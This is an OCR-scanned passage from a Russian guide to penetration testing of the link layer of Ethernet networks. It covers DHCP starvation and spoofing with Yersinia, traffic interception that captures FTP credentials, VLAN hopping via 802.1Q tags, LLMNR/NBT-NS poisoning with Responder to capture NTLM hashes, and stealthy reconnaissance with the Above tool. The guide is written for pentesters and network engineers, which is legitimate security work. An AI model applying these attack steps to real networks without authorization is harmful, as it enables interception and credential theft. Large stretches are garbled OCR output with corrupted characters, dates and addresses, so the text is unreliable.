kU
286 ОНСР Discover • Transaction IO ехе
286 DHCP Discoveг • Transaction ID 0х0
286 ОНСР Discover • Transaction ID ехе
286 DHCP Discover • rгansaction ID ехе
286 ОНСР Discover • Transaction ID ехе
286 ОНСР Discover • Transaction ID ехе
286 DHCP Discover • Transaction ID ехе
286 ОНСР Oiscover • Transaction ID ехе
286 ОНСР Discover • Transaction IO 0х0
286 DHCP Discover • Transaction ID ехе
286 ОНСР Discover • rгansaction ID 0х0
286 DHCP Discover • Transaction ID ехе
286 DHCP Discover - Transaction IO 0х0
286 DHCP Discover • Transaction ID 0х0
286' DHCP Discover - Transaction ID 0х0
286 ОНСР Discover • Transaction ID 0х0
286 DHCP Discover - Transaction ID ехе
286 ОНСР Discover • Transaction ID 0х0
F1a1ne 1· 60 bytes 011 •.;;ГЕ• i480 bltsi, 60 bytes captt1red (480 bltsJ
IEEE 802.3 Eti,PIПPt
LoglC,11·Ll!!h. Co 1;tr·c11
S~ЯРР1па
D
--
с:'
00 оо оо 50 оо
00 01 00 01
ethO: <ttve сарtше in progress>
оо
27 42 42
88
Packets 3137545. 0,splayed: 3137545 (100.0%)
Рис. 2.44. Дамп трафика во время DHCP Starvation
Profile: Oefault
Большой гайд по пентесту канального уровня сети
G\'Utshow ip dhcp Ыnding
Bindings from a1t poots not associated wtth VRF:
lease expiration
Ctient-ID/
IP address
Hardwar~ address/
53
Туре
User name
3661. Зоб4. 6330
6463. Зо39. ЗЗЗо
10.1.1.1
10.1. 1. 2
10.1.1.3
10.1.1.4
10 . 1 . 1 .5
6662.Зо30.66За
3736.3035.3730
6633. Зоб2. 6130
3034. Зо39. 6630
3363. Зоб4. 6530
3161. Зо32. 3530
6438. Зо35. 6330
6564. 3об5. 62 За
3738. ЗабЗ. 3230
3339. Зоб!. ЗЗЗо
3364. За39. 643ll
10.1.1.б
10. 1. 1. 7
10. 1. 1.8
10.1.1.9
10, 1. 1. 10
10.1.1.11
10.1.1.12
10.1.1.13
10.1.1.14
10.1.1.15
10.1.1.16
10.1.1 17
10.1 1. 18
10.1.1.19
10.1. 1.20
10. 1. 1. 21
10.1.1. 22
10. 1. 1. 23
10. 1 1 .24
10.1.1.25
10. 1.1. 26
10. 1. 1. 27
10.1.1. 28
10.1.1.29
10.1.1. 30
10.1.1.31
10.1.1. 32
10.1.1. 33
10.1.1. 34
10. l. l. 35
10. 1. 1.36
10.1.1. 37
10. 1.1. 38
10.1.1.39
10.1.1.40
10.1.1.41
10.1.1.42
- -More--
бббб.За37 .бlЗа
3538. ЗабS. бSЗв
6364. заза. 34За
6630. Заб4. бlЗё1
6562. ЗаЗб. 62За
3433.ЗаЗl .643а
6238. Зо32. 36За
з0зо. зозз. 633•
6139. Зоб5. 38За
3764. За32. 62За
3131.За66.37За
3030. За34. 6130
6263. ЗобЗ. 6130
3335. ЗобЗ. 6530
3663. Зо64. 383•
3334. Зо64. 373а
6361. Зо33. 3830
3366. Забб. 363с,
3965. ЗаЗS. ббЗа
3262. ЗаЗб. 37За
3831.Забl.бlЗа
1
6338. За34. бЗЗа
3265. Зо39. 303•
6462. Зоб 1. ЗбЗа
3331. 3а38. 643•
6536. Зо33. 3030
3833. Зоб). 3530
3739. Зо35. 6230
3734. Зоб2. бЬ3о
10.1.1.204
10.1'.1.205
10.1.1.206
10. 1. 1 .207
10.1.1.208
10.1.1.209
10. 1. 1 .210
10.1. 1.211
10.1.1.212
10. l. l .21J
10.1.1. 214
10.1.1.215
10.1.1. 216
10.1.1. 217
10.1.1. 218
10.1.1. 219
10.1.1. 220
10. 1. 1. 221
10. 1.1. 222
10.1.1. 223
10.1.1. 22•
10.1.1.225
10.1.1.226
10.1.1. 227
10.1.1. 228
10 .1.1 229
i.0 .1 1. 230
i.O. 1. 1 231
10.1.1.232
10 .1.1. 233
3766
3966
6234
10.1.1.2з.
6238 Ja63. 383•
10 1 1. 235
10:J. 1.236
10 .1. 1. 237
10 .1.1. 238
10. 1.1. 239
10. 1.1. 240
10. 1.1. 241
10. 1. 1. 242
16.1. 1. 243
10. l. l. 244
10.1.1. 245
10.1.1.246
10.1.1.247
10.1.1.248
10.1.1.249
10.1.1 . 250
10.1.1.251
10.1.1.252
10.1.1.253
GW::I
Зе34
62За
За37
ЗЗЗа
За32. 343i!!i
3031. Зо37. J63o
3236 3-,33. 31За
3065 . Зоб5. 64За
3133 J"31.бЗЗа
33J8 3•31 .3430
3136 3а6\.373а
6163 3•63.613•
3134
З<1ЗЗ.бЗЗа
3038 Ja63. б !Зо
3464
Зt~38.б1За
3635 Заб 1. 34За
6336
За34. бЗЗе~
3365 За35.37За
3764 ЗоЗО. 3830
6233 Зt13З.З2За
3332 Зо32. бЗЗа
6663 3"31. ЗSЗа
3664
За35. ЗбЗа
6338. 3об4. 663•
3638. За32. ЗЗЗа
6336. Забб. ббЗа
3231. Заб5. ЗlЗа
3064. Забб. ЗбЗi!!i
3163.3032.303•
3662. Зо38. 633•
6335. За32. ЗбЗа
3163.За34.36За
3437.ЗгбЗ.ЗSЗа
3662. Зв32. бЗЗа
б431.Зе32.62За
3039. За35. 613•
346.i. Заб2 . бЗЗа
3639. Зоб!. 6630
3932. ЗоЗВ . 323•
3836.3033.3230
3963. Зе34. б4За
3763. Заб6. 373•
6332. За39. 3930
3934. Заб5. 353•
3238. 3о36. 3930
6432. 3•32. 333•
3732. Забб. 393•
3066. Зо38. 6430
J365. Зо34. 3030
6164. зоз9 .3030
62бб.За37 .3130
Apr 24 2022 08 01
24 2022 08 01
Apr 24 2022 08 01
Apr 24 2022 08 01
Apr 24 2022 08 01
Арг 24 2022 08 01
Apr 24 2022 08 01
дрr 24 2822 08 01
Apr 24 2022 08 01
дрг 24 2022 08 01
Apr 24 2021 08 01
Дрr 24 2022 88 01
Apr 24 2012 68 01
Apr 2d 2022 ев 01
Apr 24 2022 08 01
Apr 24 2022 08 01
Арг 24 2022 08 01
Apr· 24 2022 08 01
Арг 24 2022 08 01
Арг 24 2022 08 01
Apr 24 2022 08 01
Apr 24 2022 08 01
Арг 24 2022 08 01
Дрr 24 2022 08 01
Apr 24 202"2 08 01
Apr 24 2022 08 01
Apr 24 2072 08 01
Apr 24 202] 08 01
др,· 24 2022 08 01
Apr 24 2022 08 01
Apr 24 2022 08 01
Apr 24 2022 08 01
Apr 24 2022 08 01
Apr 24 /022 08 01
Apr 24 2022 08 01
Apr 24 2022 08 01
дрr 24 2022 08 01
Apr 24 2022 08 01
Apr 24 2022 08 01
Apr 24 2022 08 01
Арг
Ар,·
дМ
А11
АМ
ДМ
АМ
АМ
Automatic
Automatic
Automatic
A!Jtornat ic
AutotJ1at ic
Automl!t ic
ic
AF1
д1Jtor,iat
АМ
Auto'Jat ic
дtJtomat ic
Automatic
Autor,iat ic
A1Jtor,iat ic
AtJto11at 1r::
At1tomat 1с
Automnt1c
Auto'llлt ic
ДМ
Af1
дt1
АМ
АЧ
АМ
АЧ
дr-1
Ari
Auto11лt 1с
АМ
Auto11at ic
АМ
д,Jtorflatн.
АМ
дt1tO'!'l<lt !С
АМ
Au1 Orti?.tt ic
Ari
Mi
Au t om,зt 1с
дr-1
Auto~iat 1с
At:lo11nt 1,
АМ
д,1tomat 1,
ДМ
AtJtO'Т!дt 1С
дr1
Automat Iс
АЧ
A,Jto11af J:
АЧ
дc,to11<1t ic
дМ
дМ
A :tc,.,at н
A,;to11.1t i,
М1
ALJI011ilt 1(
DНСР-сервера. Часть 1
АМ
дr,1
Auto11at tc
Auto11at t 1~
АМ
д,Jto11at tc
ДМ
АЧ
A,,to11at , с.
l'щtO'Тl,~t IC
AtJ{011<Jt IC
дr-1
Autoт,at 1с
24 2022 08 01 А>1
A11tomat ic
1
Apr 24 2022 08 01
дr1
Apr 24 2022 08 01
дрr 24 2022 08 01
А11
Д1,to11nt н
дr,1
д 1 ,to11r1t 1,
24 2022 08 01
АМ
д•~to11~t ic
Apr 24 :'022 08 01 АМ
24 2022 08 01 д!-,
24 2822 08 01 А11
др" 24 2022 08 01 дм
Дрr 24 7022 88 01 ДМ
Ар" 24 2fi22 08 01 М1
Apr 24 2е22 08 01 дt-,
Дрr 24 2822 08 01 дr"
Apr 24 2022 08 01 AI,\
Apr 24 2022 08 01 АМ
Apr 24 2022 08 01 д.ч
Apr 24 2022 08 01 дri
дрr 24 2022 08 (}1 дr1
др" 24 2022 08 01 дr-1
Apr 24 2022 08 01 дм
дрr 24 2022 08 01 М1
Apr 24 2022 08 01 ДМ
дрr 24 2022 08 01 дr"
Apr 24 7022 08 01 М-1
дрr 24 2022 €·8 01 ДМ
Apr 24 2022 08 01 АМ
Apr 24 20}2 08 01 дl-1
др, 24 2022 08 f\l Д!,\
Ар• 24 2022 08 01 д~~
Apr 24 2022 08 01 АЧ
Apr 24 2022 08 01 ДМ
Арг 24 2022 08 01 ДМ
др, 24 2022 os 01 дr-1
Apr 24 2022 08 01 дr~
Apr 24 2022 08 01 АМ
Apr 24 2022 0В 01 А"'!
др, )4 2022 08 01 АМ
др, 24 2022 08 01 Д!,\
дрr 24 2022 08 01 дr'1
Apr 24 7022 08 01 АМ
Дрr 24 2022 08 01 Ar.'!
Apr 24 2022 08 01 ДМ
дрr 24 2022 08 01 Af.\
Apr 24 2022 08 01 дr.\
Apr 2.:1 2022 08 01 дr-1
Apr 24 2022 08 01 АМ
Дрг 24 2022 08 01 дМ
Apr 24 2022 08 01 дr-1
Apr 24 2022 08 01 дМ
Apr 24 2022 08 01 дr-1
Apr 24 2022 0В 01 д/11
Apr 24 2022 ОВ 01 АМ
ЛL;fO'niJI 1;.:
др•
адресное пространство
Au,o'1"r.t i:
ДМ
АМ
Рис. 2.45. Переполняющееся
д 1Jtornat !С
Ар--
д\: t 0"11,1! 1 с
Ар"
д 1Jto11at н
д 1 Jt0'!1rll i(
д•,t0"'1ii\ 1(
Л1. t С'Т'.-J\ 1 ~
л,,to'Тl,lt ic
д1;fO'Тlat IC
д,Jto11r1t ic
A•:to-:,,1! ir
д1,I c-.i,1t IC
дt1! 01'1,JI ic
At;t0'!1at tc
д•;to11nt ic
A•,to11;,t ic
дi,to1мt 1с
AL1to11,)t IC
А11!0"!1,1tн
д•,tс,11,111(
A•,tc11at н
Д,,to'!1,'lt IC
A1;I Ol1,)I i:
Рис. 2.46. Переполняющееся
At,IG"!Чt !С
адресное пространство
A·,to,,;,t i с
A,,to,i,tl 1с
Ai.to11at ic
дi,tQ1'}1 ic
A\JIC"'Mtlc
• AIJtOlli!t 1(
A•JtO'Тlrlt i (
д,,to11ut
ic
Ai, 1 О'Т!-'11 i ~
А~. 1011,) t 1'
дuto11at tc
A•,to11nt ic.
A1,to11nt ic.
дt1to'Т',Jtic
A1,to11at lc
Auto11at IC"
A•Jto11nt 1 с
д1;tо1щt
ic.
дtjfQ11,}f i с
д~1 to11at i с
дtJ\011-'it IC
д1,to11at I с
д•.;to11at ic
дutc11,1t ic
DНСР-сервера. Часть 2
Глава 2
54
DHCP Spoof ing
После вывода из строя легитимного DНСР-сервера злоумышленник может поднять
на своей стороне поддельный DНСР-сервер, заявив, что именно он и является шлю­
зом по умолчанию. Когда DНСР-сервер выдает IР-адреса хостам в сети, там пере­
дается и информация об IР-адресе шлюза по умолчанию. Поэтому, настраивая та­
кой DНСР-сервер, в качестве default gateway укажем наш IР-адрес. После того как
клиент получит адрес, сделав запрос к нам, на его стороне мы будем шлюзом по
умолчанию, и он будет направлять свои пакеты нам. Это создает идеальные усло­
вия для проведения атак типа МПМ.
Воспользуемся Yersinia, чтобы поднять ложный сервер DHCP (рис. 2.47, 2.48).
Рис. 2.47. Соэдание ложного DНСР-сервера
Теперь на машине с
Windows I О с помощью двух команд вызовем обновление
IР-адреса, т. е. попробуем получить адрес от созданного нами ложного сервера
DHCP (рис. 2.49):
C:\Windows\system32> ipconfig /release
C:\Windows\system32> ipconfig /renew
Как видим, клиент получил IР-адрес и информацию о шлюзе по умолчанию. Теперь
можно попытаться перехватить трафик, поскольку весь трафик клиента будет идти
к нам.
Переключим наш интерфейс в неразборчивый режим и разрешим форвардинг тра­
фика на интерфейсе:
Большой гайд по пентесту канального rеовня сети
55
caster@kali :~$ sudo ifconfig ethO promisc
caster@kali :~ $ sudo sysctl - w net . ipv4.ip_forward=l
В
итоге
нам
удалось
перехватить
незашифрованный
FТР-трафик
nightmare: nightmare (рис . 2.50).
Рис . 2.48. Конфигурация ложного ОНСР-сервера
C:\Hindows\system32>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:
Connection-specific ONS Suffix
Link-local IPvб Address
IP\14 Address. .
Subnet 1-\ask . .
Default Gateway
fe80 : :f535:Зea3:б0f5:70dd%5
10.1 . 1 . 2
255 . 255.255 . 0
10.1.1 . 1
C:\Windows\system32>
C:\Windows\system32 >
C:\Windows\system32>
C:\Windows\system32>
C:\Windows\system32>
C:\Windows\system32>
C:\Windows\system32>
Рис . 2.49. Клиент получил адрес по DHCP
с
кредами
Глава 2
56
Рис. 2.50. Перехват учетных данных для сервера FТР
Выводы
В этой главе я разобрал большинство сценариев атак на канальный уровень компью­
терной сети. Исходя из личного опыта пентестов, могу сказать, что протоколы
уровня L2 очень часто остаются без должного внимания и в большинстве случаев
работают с конфигурацией по умолчанmо. Этим, как вы видите, может воспользо­
ваться злоумышленник.
Атаки L2 в последнее время утратили актуальность и немного вышли из моды:
сейчас мало кто обращает на них внимание. Возможно, эта глава подарит пентесте­
рам новые варианты атак, а сетевые инженеры после прочтения смогут повысить
уровень защищенности своих сетей.
ГЛАВА 3
ТТ ентестим Ethernet
по всем правилам
Атаки на Ethemet в рамках пентеста дают значительный импакт, однако при атаках
на канальном уровне велика вероятность ошибиться и нарушить нормальную рабо­
ту сети. В этой главе я расскажу о нюансах сбора информации, техниках МIТМ и
Еthеmеt-пивотинге.
•
В мае 2022 года я написал статью для журнала «Хакер» под названием Ethemet
Abyss, в которой разобрал атаки на канальный уровень. Перед вами - ее VIР­
версия (Variation in Production). На этот раз я расскажу о приемах сбора информа­
ции об оборудовании без шума в эфире, о том, как проводить МIТМ-атаки безопас­
но, и об особенностях Еthеmеt-туннелей при пивотинге.
Сбор инсрормации
L2 -
это канальный уровень компьютерной сети. Тут происходит коммутация кад­
ров, сегментация сети. Атаки канального уровня могут быть очень опасными, по­
скольку атакующий, проникнув в этот сегмент, способен нанести большой урон.
А проникнуть он может, либо если его туда пустили, либо если он обеспечил себя
L2-туннелем.
Давайте поговорим о нюансах сбора информации и о том, какие потенциальные
векторы атак сможет открыть для себя атакующий при первичном анализе трафика.
Дальше я буду активно пользоваться инструментом Above, поэтому рекомендую
им обзавестись.
ТТервое подключение
Уже после подключения к сетевому коммутатору атакующий может создать шум
в эфире. Например, автоматически активный NetworkМanager с DHCP. Рекомендую
не спешить с активным DHCP, сделайте так, чтобы хотя бы интерфейс был в со­
стоянии UP.
Также стоит заметить, что по DHCP передается имя устройства, которое получило
адрес автоматически. Вся эта информация будет храниться на DНСР-сервере. Это
58
Глава З
Рис. 3.1. Передача hostname до конфигурации NM
Рис. 3.2. Спрятанный hostname системы после конфигурации NM
Пентестим Ethemet по всем правипам
довольно
неприятный
расклад для
59
пентестера,
однако
передачу хостнейма
по
DHCP можно выключить здесь (рис. 3 .1, 3 .2):
sudo nano /etc/NetworkМanager/system-connections/Wired\ connection\ 1
[ipv4]
method=auto
dhcp-send-hostname=false
Таким образом можно спрятать имя системы от DНСР-сервера, просто не переда­
вать его через настройки NetworkManager.
Discovery-npoтoкoлы
Disсоvеrу-протоколы нужны для обмена информацией между устройствами, однако
в большинстве случаев сетевые девайсы настроены так, что рассылка DP происхо­
дит абсолютно во все порты коммутатора, а это снижает уровень сетевой безопас­
ности. Атакующий, получив эти кадры, сможет узнать чувствительную информа­
цию об оборудовании вроде версии прошивки, модели устройства, типа адресации
(рис. 3.3).
: -/АЬоvс $ ~1Jdo pythonJ АЬоvе . ру --i ntf•rfac e eth8 -- ti11eout 180 --citp
{sudo) pa ss...,ord for ca s ter :
....................,u,,,,,..................,u,,,,..,u,..........................................
..................
.,,................................................................................
IIIIIIP-IJ SGВQIUG--IYGUIIIIUIIIIIIIIIB ?I GIUIUIUIS--7568•••••••••. .•S-15alllllU67-
YIIII
"
.?IIIIP :- .. :I JPВUlllllllll5: .? ВIUUIIIJ :".,: IYGUIIIIIIIY
IPl"887.
11111
7bltG5JYIIUP. 718PJ- : . : IJPIIIIIIGI ? У : : ЯUIUIV 7"657" .. : 1JPUIIIY ?J 7GВJ . 7J ?UII
IUIUV : JSGIЪ&UIIP . 111ЬЬ&61. 188118), -Р1687 IG8••t1Y 7•1Ыr1PI
IВIU•Y 7661 .. "'SЬУ 1•01
......у . . . "'J.UIP. 1Ы6J- .. -J61•11s"' : vu•и•P- .Jвu•v ?ЬBS7:.:IJGI. . .IIY 711•P- "'vU•J 1••··
•u•цv
IIGSJIJП••P . "'7"' .: 7SВ181•1••7
IВЬUIIU? "'6111У
-. :758Ulllll••Y 1•••u•u1•J ? ....
IIIIIIY , . ., ......IP . : . "'JG1•11"11•p"' . JIIIIS"' . JIIUIY ,-.)Gl••·. . . . . . . .IY 71UIU••••J 111•1
......v 1111u•u•1P. 71GY I. :7S81UIIIIJ . "'PG7 761UIIIY 76...............v 1..........1 1. . ..
ПIIIIY
1 11111и•пР . 111•&•Р? . . 1ва1••••G7
. "'58111.IПУ 1,,.............,v 1•11•и•и•J 1. .. .
• , ....v ....U . .UIP . 1•ивР1 - . . -? 8111".ЬР :
J.......,,v 1...............,v 7..........J 1••··
11••11v 1•••••. .1пР . 16J- .. "'1SВ1•••••11в1 11. -P111••••v 11111. .•••••••11•v 1•и•••••u1 1•11•
IIIIUY 1111п•11••Р
. : IYG11•и•u•1ВJ . "'SIЬ61 7Gltl•••з 7................v 1ип,•11"J 1••··
. . .II.GYJP•t1. .U•11ВYYYPВ1••••··. .••UGJJYВIIU.5JJP. .1116JJP••·•·•••••••••••GJJP•II.IU••l6YJP•II•
11111111Ь1111...........u11••. .• ..•••......................ьы••. . •••...........ы•••.......••ь•. .••
IIIIIIY
IIIПIY
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .u
. . . . . . . . . . . . ..
Net.ork Vu\nerabil.ity Scanner
[ +) Sniffing tM СОР protoco\ ..•
[ * 1 Info: Oetected СОР
[ ! } I11p.ict: Infomation Gatherinc, СОР F\oodinf
[ •] Too\s: Versini.1, Scapy, •iresh.ark
[ 1] Systetn К№е: AccessSlf2
[•] Device Version: Cisco IOS Software, vios_\2 Softw.re (vios_12-ADVEНТERPRISEK9 -M), Experi11enta\ Version 15.2(20170321:2339t.9) [Dlen 101]
Copyright (с) 1986-2117 Ьу Cisco Systetns, Inc.
Compi\ed IIC'd 22-М.r-17 аа:эв Ьу nien
[*] Device P\.1tforr1: Cisco [ 1] Oevice Port: 6igabitEttн!rnet1/Q
:•/АЬоv, $
Рис. 3.3. Информация о СОР, полученная с помощью Above
Обнаружение тегов 802 .1 Q
802.1 Q -
стандарт, имеющий отношение к тегированию коммутационных фрей­
мов. В контексте коммутатора при разбиении сети VLAN на сегменты используют­
ся два типа портов:
Глава 3
60
□
порт в режиме доступа, обычно он настраивается на стороне конечных
Access -
станций, чтобы они имели первичный доступ к сети;
□
Trunk -
в этом режиме происходит инкапсуляция Ethemet-кaдpoв.
Когда атакующий впервые подключается к коммутатору, не исключено, что он
окажется именно на Trunk-nopтe, где тегируются фреймы. Если действительно так
произойдет, то пентестер сможет оказаться во всех VLAN-cerмeнтax, к которым
подключен коммутатор. Вот примерные сценарии, при которых такое возможно:
□ работающий порт по умолчанию находится в контексте коммутатора Cisco. Там
активен протокол DTP, причем все порты работают в режиме
Dynamic Auto.
DTP
Если атакующий сгенерирует и отправит в сторону такого порта кадр
DesiraЫe, это приведет к тому, что порт атакующего переключится в транк.
□ порт коммутатора для Voice VLAN настроен небезопасно. Я встречал такие слу­
чаи, в которых необходимо было подключить в разрыв и VоlР-телефон, и ком­
пьютер, и при этом порт коммутатора настраивался в режиме Trunk. Хотя стои­
ло бы грамотно настроить VLAN Access для компьютера, и
Voice VLAN для
телефона. Если атакующий найдет такой порт, фактически он уже пробьется во
все VLАN-сегменты.
Так что не будет лишним поискать на порту фреймы
802.1 Q, вдруг вам удастся
прыгнуть в остальные VLАN-сегменты. Такие мисконфиги встречаются на комму­
таторах, и вы случайно можете оказаться на транке. Конечно, это редкое явление,
но я не мог не упомянуть такой вектор (рис. 3.4).
t>> ! +
. p•rs· +
70 31.6822 ... 50:00:00:08: ... PVST+
~
1
(
7~
? 1
~
i!
J 2
08
.:iC! vv
<.,/"J
r:'!
STP
68 Conf. Root
32768/240/513: 00: 00: 08: 00: 00
Cost
1
~
PV::>' +
)(
lJ8
•.1
Э
О
,>ус.т
1
t)
••
'А
11
t- • t)L
(Jt I
V
r-:
0
Por1
'
С
• Frame 70: 68 bytes on wire (544 bits), 68 bytes captured (544 bits)
• Ethernet II, Sгс: 50:00:00:08:00:01 (50 : 00 :00 : 08 : 00 : 131), Dst : PVST+ (0 1 :13 0:0с :с с :•
• 802.lQ V iгtuat LAN, PRI: 0, DEI: 0 , ID : 240
• Logicat - Link Controt
• Spanning Тгее Protocot
0000
0010
0020
0030
0040
01 00 Ос се се cd
00 32 аа аа 03 ое
f0 50 00 00 08 130
08 00 00 80 02 00
00 ,02 00 f0
Рис. 3.4. Пример 802.1 Q-тега в кадре
Найти фреймы 802.1 Q можно, анализируя трафик с помощью инструмента НIVE.
Достаточно запустить его, указав два аргумента: интерфейс атакующего и время на
анализ трафика. После поиска всех тегов инструмент автоматически создаст необ­
ходимые виртуальные интерфейсы для прыжка в другие VLАN-сеrменты.
Как видите,
HIVE позволил
атакующему
прыгнуть в
четыре сегмента
VLAN
(рис. 3.5). Вектор крайне редкий, но иногда встречается в корпоративных сетях.
61
Пентестим Ethemet по всем правипам
Рис. 3.5. HIVE
LLMNR/NBT -NS Poisoning
Оrравление LLМNR/NBT-NS -
одна из самых распространенных сетевых атак.
Она позволяет получить учетные данные пользователя Windows в зашифрованном
виде, а также открывает дорогу для проведения атак NTLM Relay. Чаще всего для
отравления запросов LLМNR/NBT-NS используют утилиту Responder.
Для такой атаки нужен именно L2-доступ в целевой сети, поскольку запросы дан­
ных протоколов распространяются только в рамках широковещательных доменов.
Либо атакующий может просто воткнуть патч-корд в розетку, либо в контексте
сценария пивотинга у него есть L2-туннель.
Протокол LLМNR использует мультикастовый адрес 224.0.0.252, в NBNS применя­
ется широковещательный трафик, проходящий по UDP-nopтy 13 7, а МDNS работа­
ет по адресу 224.0.0.251.
Инструмент Above позволит обнаружить в трафике эти протоколы. Если такое про­
изойдет, то атакующий сможет воспользоваться вектором атаки LLМNR/NВT-NS
Spoofing и перехватит учетные данные (рис. 3.6).
ARP/NВNS-раэведка
При запуске АRР-сканирования вы должны иметь в виду, что можете оказать
большую нагрузку на оборудование, да и система Storm Control подаст сигнал тре­
воги, если вы превысите порог допустимого широковещательного трафика. Когда
запускаете инструмент, проводящий АRР-сканирование, обязательно настройте его
скорость, т. е . число пакетов в секунду.
Распространенные инструменты для L2-сканирования -
это netdiscover и nbtscan.
Рекомендую внимательно изучить все настройки и стараться не запускать эти про­
граммы в режиме «Халк крушить» .
Глава З
62
1 1 : -/ Abovc $ s_u..00 pythonJ АЬоvе.ру --interface ethO --timeout 100 --1 \mnr --11bns - -tndns
,
[sudo] password for caster :
11•11111111•••••••••11•11••••••••••••••••••••••/Ul•••••••••••••..••••••••••..•••••••1111111•••••••••••••
111U1•••••••••••1U1••••••••••1U1••••••••1111•111U1•••••••11111U1•11•••••11•11••1U111•••••••1111111U 1llllllllllllllllllllll•I
•1U1•11•P- I З5GВ//.11111/6--1 YG/111•1111•11111111111•11•118? 1G/111••••11111111s-15Gll•11••······••s-- 15111/1/11·•••67
IP•••·87.
• ?••11•Р :- •• : 1JPВ11••··••11•••s: • ?В11•11••••11з : • •. : IY61/IIIUl•··••v
····••У
768) . 7З
?У: :Sl/1/1/1/1/.IIY 711657 •. • : IJP•••1111v ?J
111111•••v 7&1/6SJYn•1111P. 7•8PJ- : .: IJP//.1/1/#1/GI
I Вllll••v 7&61 . . •sъу
181/11.8). -Р•&В7 l6•·••11v 1••&&11PI
11#11.111/У : J561/&&IIII•• P. 1•11&&&G?.
• •з••••Р. 7&116J- . • -зG/l•••s• :v••••••P- .JВ11•11v ?&857: .: 1з6111111•11•v 1••#Р-•v••#з
-•••v
••••#IIY 1•6sз1з••••Р. •1•. :7581111•••••1 18&11••11••? •6••11v •-. : 75В11•11•11••••v 111111111••••••з
•1111#11•v •••••••••••Р. :•. •зG//••••••••р• .з1U1••s• .з•••••v .-JG11•11••#••••••v 1••#•••••••1
··••11•v ····••1111•••Р. 7116YI. :7581111.ll##IIJ . ·PG1 761111•1111•v 1&1111111111••11••11••••v 1••······••J
11•••11•v 111••••111111•11Р. 711111/&IIP?. • 181/IIIIIU/l/f,7 • •51111•11•1111•v 1•1111••1111••·••11•••v 1••#·····••J
J•111U1•1111•11v 1•111U1••····••11••11v 111•#•11••11••1
11••••11v 1111111••1111••11Р. 711111/ВР?- . • -?81111/Ul••&P:
··••1111v ·······••1111Р. 16J- •• ·158/lllll··••IIВ1 1?. -P••···••v 1•11••···••11111111•11•v 11111•111111•11••1
. : IYG/II/IIIUll/lll/•l/8J. •511ы;1 1G/lllll•IIJ 11/lllllllllllll/11••111111•1/Y ll/l/#ll#ll//1/##J
1111.IIIIIIY 1••1111111111•1/1/Р
##IIII/I/GYJPII.IIIII/I.IIIII/ВYYYPВllllllll/llll•••1111•6JJYВllll•••sJJP••••I/GJJP••••11•11••11••••11116JJPll•••11••1111•6
••11•11••11&1111••111111•11•••11••11111111••••••1111•1111••••••••••••11••/U/•••&&11•11•••••••••••••• ••&11•••••••1111••
••••••••••••••IU/••••1111••••1U1••••••••••111U1••••1111•••111U1•••••••••••1U1••••111•••111U1•11••111•1111•1111••
Net,юrk
л,1thc,r.·
r,.1,_,tcг,
[ +]
[ •]
[ •]
[•]
[ •]
[•j
Sniffing the LUIIR protoco\ ..•
Info: Detecti,d LUINR
Impact: LLМNR Spoofing, №tNТLМv2-SSP hashes i ntercept
Toots : Inveigh, Responder, Metasptoit
LLМNR Sender IP: 192 .168 .1. liЗ
LUINR Sender МАС: 00:0c:29:ad:7a: 49
[ +]
[ •]
[ •]
[ •]
[•]
[•]
Sniffing the IEIIS protoco\ . . •
Info: Detected NBNS
I11pact: NВNS Spoofing, NetNТLМv2-SSP hashes i nt orcept
Toots: Responder, Metasp\oit
NBT-NS Sender IP : 192.168.1.103
NBT - NS Sender МАС: 00:8c:29:ad:7a: 49
Vu\nerabi\ity Scanner
a,..~.::i,-,.,_ <..t:.1
[ +] Sniffing the №NS protocot .. .
[ •] Info : Detected МDNS
[ •] Impact: MDNS Spoofing, NetNТLМv2-SSP hashes i ntercept
[•] Too\s: Responder
[•] Coptured 11)115 Query Na11e: f orgi veus . \oca\
[•] МDNS Sender МАС: eo : oc :29:ad : 7a : 49
[•] МDNS Sender IP Address: 192 . 168 . 1 . 103
1 , : - /Abovo $
Рис. 3 . 6 . Above
Для netdiscover в качестве первичной разведки хорошо выбирать Passive ARP: ин­
струмент в автономном режиме будет анализировать все АRР-кадры вокруг себя
и выстраивать список хостов (рис. 3.7).
sudo netdiscover -i et hO -р
Рис. 3.7. Результат работы пассивного ARP
Пентестим Ethemet по всем правилам
63
Обнаружение динамической маршрутизации
Протоколы динамической маршрутизации используются в каждой крупной корпо­
ративной сети и при этом часто остаются без внимания с точки зрения безопас­
ности.
DRР-протоколы
используют
мультикастовую рассылку,
и
чтобы
добраться
до
пакетов этих протоколов , атакующему необходим именно L2-доступ (либо физиче­
ское подключение к сети, либо L2-туннель после мероприятий пивотинга). Напри­
мер,
OSPF для мультикастовой рассылки использует адрес 224 . О . О.5, а EIGRP-
224.0.0. 10.
Чаще всего DRР-пакеты ходят в пользовательских сегментах банально из-за того,
что не заданы настройки пассивного интерфейса. Когда маршрутизатор анонсирует
ту или иную сеть, в ту же сеть отправляются эти пакеты приветствия . Если ата­
кующий доберется до них, то сможет подключиться к домену маршрутизации,
узнать о существовании тех или иных подсетей, инъекции маршрутов и прочего
(рис. 3.8).
Собрав эту информацию, атакующий поймет, что в сети используется динамиче­
ская маршрутизация с небезопасными настройками. Тогда он может провести атаку
на домен . Считайте, еще один вектор для атаки изнутри сети .
caster.ka\i : -/AЬove $ sudo pythonЗ АЬоvе . ру _;interface ethB --timeout 1110 --eigrp
llllllllll/111/III/Ulll/111/lllllllllll/111/lll/111#11/IIIIIIIII/UI/UIII/UIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII/UIII/UIIIIIIIIIIIIIIIIIIIIUIIIIIIIIIIII/III/IIIIII
IIIIIIIIIIII/UIIIII/UIIIIIIIIIIIIIIIII/Ulll/1111111/lll/11111/Ulllllllllllllllllllllllllllllllll/111/lll/111/111/UIIIIUllllllllllllllllllllllll/1111111/1/IIIIII
IIIIIIIIIUIP-IJ5<iВIIII/IIIIIG--IY6/IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIB?IG/IIIIIIIIIIIIIII/IIIS-7561111/III/UIIIIIIIII/IIIS- 1 51111111
/1/111/1/1/IY
1111111111/IY
llllll/111/IY
. ?111111/IP
:- .. : IJPВllllllllll/111111111115:
. ?8111111111111/IJ
:А • • : IYG/111111111/UIIIIIY
7&1165JY/III/IIIP. 7/IВPJ-:.:IJPll/111111161 ?У: :511111111/IIIY 711657A . . :IJPIIIIIIIIY
IВ/11111/IY
